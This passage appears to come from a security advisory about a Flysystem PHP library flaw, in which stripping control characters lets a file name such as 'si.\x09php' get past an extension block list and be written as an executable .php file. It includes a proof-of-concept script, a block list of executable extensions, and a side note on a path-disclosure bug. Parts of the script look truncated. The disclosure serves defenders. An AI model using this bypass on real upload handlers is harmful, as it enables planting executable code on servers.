assertAbsent($path); $config = $this->prepareConfig($config); Util::rewindStream($resource); return (bool) $this->getAdapter()->writeStream($path, $resource, $config); } public function assertAbsent($path) { if ($this->config->get('disable_asserts', false) === false && $this->has($path)) { throw new FileExistsException($path); // whoops } } ``` At [1] the `normalizePath` method is called: ```php class Util { //... public static function normalizePath($path) { return static::normalizeRelativePath($path); // 2 } public static function normalizeRelativePath($path) { $path = str_replace('\\', '/', $path); $path = static::removeFunkyWhiteSpace($path); // 3 $parts = []; foreach (explode('/', $path) as $part) { switch ($part) { case '': case '.': break; case '..': if (empty($parts)) { throw new LogicException( 'Path is outside of the defined root, path: [' . $path . ']' ); } array_pop($parts); break; default: $parts[] = $part; break; } } return implode('/', $parts); } ``` The code calls `normalizeRelativePath` with the attackers supplied filename at [2] and then calls the `removeFunkyWhiteSpace` function at [3]. Let's investigate this function defined in the same class: ```php protected static function removeFunkyWhiteSpace($path) { // We do this check in a loop, since removing invalid unicode characters // can lead to new characters being created. while (preg_match('#\p{C}+|^\./#u', $path)) { $path = preg_replace('#\p{C}+|^\./#u', '', $path); } return $path; } ``` In summary the code is stripping the filename of any non-printable characters (invisible control characters and unused code points 0x00–0x1F and 0x7F–0x9F) which can be used to bypass block list checks. But definitely props for the .. check ;-) # Bonus: The `assertAbsent` call will throw a `FileExistsException` which leaks the full path of the web root to an attacker if the same file is uploaded. You probably want to fix that information disclosure bug too. # Example: researcher@neophyte:~$ php poc.php (+) vuln */ require __DIR__.'/vendor/autoload.php'; if (file_exists("output/si.php")) unlink("output/si.php"); $blocklist = [ 'php', 'php3', 'php4', 'php5', 'phtml', 'cgi', 'pl', 'sh', 'com', 'bat', '', 'py', 'rb', ]; // this would be the attack coming from over the web $filename = "si.\x09php"; $d = pathinfo($filename); if (in_array($d["extension"], $blocklist, true)) die("(-) blocked, nice try attacker!\r\n"); $adapter = new League\Flysystem\Local\LocalFilesystemAdapter(__DIR__.'/output'); $filesystem = new League\Flysystem\Filesystem($adapter); $str = "writeStream($filename, $stream); echo file_exists("output/si.php") == true ? "(+) vuln\r\n" : "(+) not vuln\r\n"; ?>